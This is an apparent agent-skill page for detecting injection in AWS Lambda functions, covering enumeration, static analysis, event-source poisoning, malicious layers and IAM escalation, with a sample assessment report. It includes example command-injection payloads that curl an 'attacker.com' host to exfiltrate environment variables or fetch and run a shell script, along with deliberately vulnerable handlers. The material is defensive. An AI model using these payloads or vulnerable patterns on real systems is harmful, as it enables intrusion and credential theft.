Agent Skills: Detecting Serverless Function Injection

>

UncategorizedID: plurigrid/asi/detecting-serverless-function-injection

Install this agent skill to your local

pnpm dlx add-skill https://github.com/plurigrid/asi/tree/HEAD/plugins/asi/skills/detecting-serverless-function-injection

Skill Files

Browse the full folder contents for detecting-serverless-function-injection.

Download Skill

Loading file tree…

plugins/asi/skills/detecting-serverless-function-injection/SKILL.md

Skill Metadata

Name
detecting-serverless-function-injection
Description
>

Detecting Serverless Function Injection

When to Use

  • Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (eval, exec, child_process.exec, os.system)
  • Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment
  • Detecting privilege escalation paths where an adversary with lambda:UpdateFunctionCode and iam:PassRole can assume higher-privilege execution roles
  • Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution
  • Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns

Do not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.

Prerequisites

  • AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge
  • AWS CLI v2 configured with appropriate credentials and region
  • CloudTrail enabled with Data Events for Lambda (captures Invoke events) and Management Events (captures UpdateFunctionCode, UpdateFunctionConfiguration, CreateFunction)
  • Python 3.9+ with boto3, bandit (Python SAST), and semgrep for static analysis
  • Access to function source code or deployment packages for static analysis
  • CloudWatch Logs Insights access for querying Lambda execution logs

Workflow

Step 1: Enumerate the Serverless Attack Surface

Map all Lambda functions and their event source triggers to understand injection entry points:

  • List all Lambda functions and their configurations:
    aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table
    
  • Map event source mappings: Each event source mapping is a potential injection entry point where untrusted data enters the function:
    aws lambda list-event-source-mappings --output json | \
      jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'
    
  • Identify API Gateway triggers: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:
    aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
    
    For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.
  • Identify S3 event triggers: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:
    aws s3api get-bucket-notification-configuration --bucket <bucket-name>
    
  • Catalog function environment variables: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:
    aws lambda get-function-configuration --function-name <name> \
      --query 'Environment.Variables' --output json
    
  • Identify overprivileged execution roles: Functions with * resource permissions or administrative policies are high-value escalation targets:
    aws iam list-attached-role-policies --role-name <lambda-exec-role>
    aws iam list-role-policies --role-name <lambda-exec-role>
    

Step 2: Static Analysis for Injection Sinks

Scan function code for dangerous patterns that allow injected event data to execute as code or commands:

  • Download function deployment packages:

    aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
    unzip function.zip -d function_code/
    
  • Python injection sinks (Lambda Python runtimes): Search for functions that execute strings as code:

    # DANGEROUS: Direct eval/exec of event data
    eval(event['expression'])           # Code injection via eval
    exec(event['code'])                 # Arbitrary code execution
    os.system(event['command'])         # OS command injection
    subprocess.call(event['cmd'], shell=True)  # Shell injection
    os.popen(event['input'])            # Command injection
    pickle.loads(event['data'])         # Deserialization attack
    yaml.load(event['config'])          # YAML deserialization (unsafe loader)
    
  • Node.js injection sinks (Lambda Node.js runtimes):

    // DANGEROUS: Direct execution of event data
    eval(event.expression);                    // Code injection
    new Function(event.code)();               // Dynamic function creation
    child_process.exec(event.command);         // OS command injection
    child_process.execSync(event.cmd);         // Synchronous command injection
    vm.runInNewContext(event.script);          // Sandbox escape potential
    require('child_process').exec(event.input); // Import-and-execute pattern
    
  • Run Semgrep with serverless rules: Use purpose-built rules that detect event data flowing into injection sinks:

    semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
      --config "p/python-security" function_code/ --json --output semgrep_results.json
    
  • Run Bandit for Python functions:

    bandit -r function_code/ -f json -o bandit_results.json \
      -t B102,B301,B307,B602,B603,B604,B605,B606,B607
    

    These test IDs specifically target exec, pickle, eval, subprocess with shell=True, and other injection-relevant patterns.

  • Custom pattern detection: Search for indirect injection patterns where event data is concatenated into strings that are later executed:

    # Indirect injection: event data flows into SQL query string
    query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
    cursor.execute(query)  # SQL injection
    
    # Indirect injection: event data flows into template rendering
    template = event['template']
    rendered = jinja2.Template(template).render()  # SSTI
    

Step 3: Detect Event Source Poisoning

Analyze event sources for injection payloads that exploit how Lambda processes triggers:

  • S3 event key injection: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:

    # Vulnerable Lambda handler
    def handler(event, context):
        bucket = event['Records'][0]['s3']['bucket']['name']
        key = event['Records'][0]['s3']['object']['key']
        # VULNERABLE: key is attacker-controlled
        os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
    

    Attack: Upload an object with key ; curl http://attacker.com/exfil?data=$(env) to inject a command through the S3 event.

  • SQS message body injection: Lambda processes SQS messages where the body contains attacker-controlled data:

    # Vulnerable Lambda handler
    def handler(event, context):
        for record in event['Records']:
            message = json.loads(record['body'])
            # VULNERABLE: message content used in eval
            result = eval(message['formula'])
    
  • API Gateway header/parameter injection: HTTP request data passes through API Gateway into the Lambda event:

    # Vulnerable Lambda handler
    def handler(event, context):
        user_agent = event['headers']['User-Agent']
        # VULNERABLE: header value used in shell command
        subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
    
  • DynamoDB Stream record injection: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:

    # Vulnerable Lambda handler
    def handler(event, context):
        for record in event['Records']:
            new_image = record['dynamodb']['NewImage']
            config = new_image['config']['S']
            # VULNERABLE: DynamoDB record value used in exec
            exec(config)
    
  • Detection via CloudWatch Logs Insights: Query for evidence of injection attempts in function execution logs:

    fields @timestamp, @message
    | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
    | filter @message like /(?i)(error|exception|traceback|syntax)/
    | sort @timestamp desc
    | limit 100
    

Step 4: Detect Malicious Lambda Layer Injection

Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:

  • Audit current layer attachments: List all functions and their layer versions to identify unexpected additions:

    aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json
    
  • Detect layer modification events in CloudTrail: Query for UpdateFunctionConfiguration events that add or change layers:

    aws cloudtrail lookup-events \
      --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
      --start-time "2026-03-12T00:00:00Z" \
      --end-time "2026-03-19T23:59:59Z" \
      --query 'Events[*].[EventTime,Username,CloudTrailEvent]'
    

    Parse the CloudTrailEvent JSON to check if Layers was modified in the request parameters.

  • Analyze layer contents: Download and inspect layer packages for malicious code:

    aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
      --query 'Content.Location' --output text | xargs curl -o layer.zip
    unzip layer.zip -d layer_contents/
    # Search for suspicious patterns
    grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/
    
  • Layer hijacking indicators: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:

    • Python: Layer code in /opt/python/ is imported before the function's own modules
    • Node.js: Layer code in /opt/nodejs/node_modules/ overrides function dependencies
    • A layer providing a modified boto3 package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint
  • CloudTrail detection query for layer changes:

    {
      "source": ["aws.lambda"],
      "detail-type": ["AWS API Call via CloudTrail"],
      "detail": {
        "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
        "errorCode": [{"exists": false}]
      }
    }
    

Step 5: Detect IAM Privilege Escalation via Lambda

Identify escalation paths where attackers modify functions to assume higher-privilege roles:

  • The Lambda privilege escalation pattern: An attacker with lambda:UpdateFunctionCode and iam:PassRole permissions can:

    1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)
    2. Modify the function's code to call sts:GetCallerIdentity or perform privileged actions
    3. Invoke the function, which executes with the high-privilege role
    4. Exfiltrate the role's temporary credentials from the function's environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)
  • Detect UpdateFunctionCode events: Monitor CloudTrail for function code modifications:

    aws cloudtrail lookup-events \
      --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
      --start-time "2026-03-12T00:00:00Z" \
      --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table
    
  • Detect PassRole to Lambda: iam:PassRole is required to attach a different execution role to a function. Monitor for this:

    # CloudWatch Logs Insights on CloudTrail logs
    fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
    | filter eventName = "UpdateFunctionConfiguration20150331v2"
    | filter ispresent(requestParameters.role)
    | sort eventTime desc
    
  • Detect credential exfiltration from Lambda: A compromised function may call STS or create new IAM entities:

    fields eventTime, userIdentity.arn, eventName, sourceIPAddress
    | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
    | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
        "CreateAccessKey", "AssumeRole", "PutUserPolicy"]
    | sort eventTime desc
    
  • EventBridge rule for real-time alerting: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:

    {
      "source": ["aws.lambda"],
      "detail-type": ["AWS API Call via CloudTrail"],
      "detail": {
        "eventName": [
          "UpdateFunctionCode20150331v2",
          "UpdateFunctionConfiguration20150331v2",
          "CreateFunction20150331"
        ],
        "errorCode": [{"exists": false}]
      }
    }
    

Step 6: Implement Runtime Injection Prevention

Deploy runtime protection controls to prevent injection at execution time:

  • Input validation at handler entry: Validate and sanitize all event data before processing:

    import re
    import json
    from functools import wraps
    
    SAFE_PATTERNS = {
        'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
        'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
        'action': re.compile(r'^(get|list|create|update|delete)$'),
    }
    
    def validate_event(schema):
        """Decorator that validates Lambda event against a whitelist schema."""
        def decorator(func):
            @wraps(func)
            def wrapper(event, context):
                for field, pattern in schema.items():
                    value = event.get(field, '')
                    if isinstance(value, str) and not pattern.match(value):
                        return {
                            'statusCode': 400,
                            'body': json.dumps({'error': f'Invalid {field}'})
                        }
                return func(event, context)
            return wrapper
        return decorator
    
    @validate_event(SAFE_PATTERNS)
    def handler(event, context):
        # Event data is validated before reaching this point
        user_id = event['userId']
        # Safe to use in queries with parameterized statements
        return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
    
  • Lambda function URL authorization: Ensure functions exposed via URLs require IAM auth:

    aws lambda get-function-url-config --function-name <name> \
      --query 'AuthType' --output text
    # Must return "AWS_IAM", not "NONE"
    
  • Least privilege execution roles: Restrict the function's IAM role to the minimum required permissions:

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": [
            "dynamodb:GetItem",
            "dynamodb:PutItem"
          ],
          "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
        },
        {
          "Effect": "Allow",
          "Action": "logs:*",
          "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
        }
      ]
    }
    
  • SCP to prevent dangerous Lambda modifications: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Sid": "DenyLambdaCodeUpdateExceptCICD",
          "Effect": "Deny",
          "Action": [
            "lambda:UpdateFunctionCode",
            "lambda:UpdateFunctionConfiguration"
          ],
          "Resource": "*",
          "Condition": {
            "StringNotLike": {
              "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
            }
          }
        }
      ]
    }
    
  • AWS Lambda Powertools for structured logging: Emit structured security events that can be ingested by SIEM:

    from aws_lambda_powertools import Logger, Tracer
    from aws_lambda_powertools.utilities.validation import validate
    
    logger = Logger(service="payment-processor")
    tracer = Tracer()
    
    @logger.inject_lambda_context
    @tracer.capture_lambda_handler
    def handler(event, context):
        logger.info("Processing event", extra={
            "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
            "user_agent": event.get('headers', {}).get('User-Agent'),
            "http_method": event.get('httpMethod'),
        })
    

Key Concepts

| Term | Definition | |------|------------| | Event Source Poisoning | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event | | Function Injection | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler | | Lambda Layer Hijacking | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path | | IAM Privilege Escalation via Lambda | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials | | OWASP Serverless Top 10 | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) | | Cold Start Injection | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context | | Execution Role | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |

Tools & Systems

  • Semgrep: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes
  • Bandit: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization
  • AWS CloudTrail: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns
  • CloudWatch Logs Insights: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns
  • AWS Config: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types
  • Prowler: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption

Common Scenarios

Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack

Context: A SOC analyst receives a GuardDuty alert for UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with lambda:UpdateFunctionCode permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.

Approach:

  1. Query CloudTrail for UpdateFunctionCode events in the past 7 days to identify when the function was modified and by which principal:
    fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
    | filter eventName = "UpdateFunctionCode20150331v2"
    | filter requestParameters.functionName = "payment-processor"
    | sort eventTime desc
    
  2. Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows
  3. Download the modified function code and find an injected snippet that POSTs os.environ['AWS_ACCESS_KEY_ID'], AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN to an external endpoint on each invocation
  4. Check if the attacker also added a malicious layer by querying for UpdateFunctionConfiguration events with layer changes
  5. Verify the function's execution role permissions: the payment-processor role has dynamodb:*, s3:GetObject, s3:PutObject, and sqs:SendMessage across all resources, exceeding least privilege
  6. Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding sts:GetCallerIdentity, s3:ListBuckets, dynamodb:Scan on the customer table, and iam:CreateUser attempts
  7. Respond by reverting the function code from the last known-good deployment package in the CI/CD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts lambda:UpdateFunctionCode to the CI/CD role only

Pitfalls:

  • Only checking the function code and missing malicious layers that persist even after the function code is reverted
  • Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3
  • Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid
  • Restoring the function without first preserving the malicious code as forensic evidence
  • Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open

Output Format

## Serverless Function Injection Assessment

**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19

### Critical Findings

#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
  Object key: `; curl http://attacker.com/shell.sh | bash`
  Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
  and validate the S3 key against an allowlist pattern.

#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
  to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
  lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.

#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
  invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
  function's deployment package, add AWS Config rule to block external layers.

### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions